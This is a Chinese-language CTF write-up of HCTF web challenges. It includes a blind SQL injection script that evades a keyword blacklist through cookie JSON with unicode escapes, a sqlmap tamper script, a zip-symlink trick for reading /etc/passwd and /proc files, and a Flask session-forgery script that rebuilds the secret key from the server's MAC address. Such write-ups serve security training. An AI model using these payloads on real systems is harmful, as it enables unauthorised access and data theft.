Warmup
签到题
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
一开始看上面这段代码有点懵,然后一搜~~~
就是套用phpmyadmin的exp即可获得flag
kzone
information collection
出题人WP
直接打开都是无限跳转,所以拿御剑扫一下目录,发现源码~~赶紧拖下来看看
cracking
翻了一遍之后,发现了member.php,发现admin_user是直接带入sql语句中的,而且admin_pass运用的是弱类型比较:)似乎有搞头~
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
但是这里我一直爆破不出来~~islogin无论传1还是0,都是返回You are already logged in!
,那就看下还有什么其他路子吧~(后来发现。。是自己post请求点错了~~尴尬!!)
cookie injection
因为在safe.php下有过滤
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
所以基本上通过正常方法是不能饶过or了~但是这道题有两个骚操作,一个是出题人的预期解(Innodb),一个是非预期解。
Innodb
源码里面的数据库文件和平常的没什么两样,然后随便找了个自己的对比了一下,发现。。有一丝猫腻~
就是ENGINE
的地方不一样~
MySQL5.5版本开始Innodb已经成为Mysql的默认引擎(之前是MyISAM),说明其优势是有目共睹的,如果你不知道用什么,那就用InnoDB,至少不会差。
所以可以使用mysql.innodb_table_stats
来代替information_schema.tables
即可获取表名。
这里改一下大佬的来脚本测试,是成功的
import requests
import string
url = ""
rg = '._- {}'+string.digits+string.ascii_letters+'&'
flag = ''
for l in range(30):
for i in rg:
cookies = {
"islogin":"1",
# 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rtable_name\rfrom\rmysql.innodb_table_stats\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
# 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
}
r = requests.get(url, cookies=cookies)
print(i, end="\r")
# print("\r")
if len(r.text) > 1000:
flag+=i
print(flag)
break
if i == '&':
exit()
当然在使用这种方法之前,需要通过@@innodb_version
来获取mysql版本,类似于@@version
的效果,才能知道当前引擎是否为innodb,但是在实际情况中,mysql.innodb_table_stats表注入的缺点是无法通过查询得出列名。
json_decode
因为传入的login_data
会有json_decode操作,所以我们可以通过将黑名单内的关键字进行encode,然后即可达到注入目的。
$login_data = json_decode($_COOKIE['login_data'], true);
接下来,当然可以选择自己写脚本注入,但是~~既然有工具肯定要好好利用啊~~看到Ricter大佬用sqlmap快速破题,所以我觉得。。还是要跟上大佬的脚步,把工具用的出神入化才行啊!
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '{"admin_user":"admin%s","admin_pass":65}'
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload
这里有两个坑就是:
1. 要注意单引号中的转义
2. 要注意将f1转为大写
3. 注入的时候如果存在大小写敏感可以用binary区分
set_cookie
平台本身的逻辑问题,就可以实现布尔注入:
当查询返回的用户名为空且密码错误时,进行四次setcookie 操作
当查询返回的用户名为不为空时,进行两次setcookie 操作
hideandseek
Information collection
直接随意输入账号密码即可登陆,然后就要求上传zip文件。
随便上传一个zip后,发现会自动把压缩包内的内容打印出来。
搜索了一会发现了软连接这个东东。
于是试了试
~/Downloads/hctf_hideandseek ln -s /etc/passwd link
~/Downloads/hctf_hideandseek zip --symlinks test.zip link
adding: link (stored 0%)
~/Downloads/hctf_hideandseek ls
link test.zip
成功读取
接下来就是看看能不能读取到什么有用的信息了~
这里读了半天,没读出什么东西,卡住了,然后看了下wp,发现出题人说linux一切皆文件
的思想,找到了Linux /proc/pid目录下各文件含义,简直大开眼界~
读到了uwsgi配置文件的位置,也知道了目录路径,接下来就是继续读了。
然后读到了源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
再把模版html读一下,虽然知道flag在flag.py里,但是你想直接读出来,是不可能的,出题人已经知道你这种“骚操作”,特地把这种情况排除了。
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
所以只能从admin入手。
{% if user %}
<br>
<br>
<h1>Hello, {{ user }}. </h1>
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
{% else %}
<br>
<br>
solution
这下子解题思路就明确了:admin用户不能登陆,只能伪造session了。
再观察一下源码对session的构造
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
uuid.getnode()
获得10进制mac地址,这个也可以通过/sys/class/net/eth0/address
来读取
然后自己构造一个flask,配上伪造的session即可得到flag
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import random
import requests
url = ''
mac = ''
mac = int(mac, 16) #要进行进制转换
print(mac)
app = Flask(__name__)
random.seed(mac)
key = random.random()*100
app.config['SECRET_KEY'] = str(key)
payload = {'username' : 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
cookies = {'session' : session}
rq = requests.get(url, cookies=cookies)
print(session)
if 'hctf' in rq.text:
print(rq.text)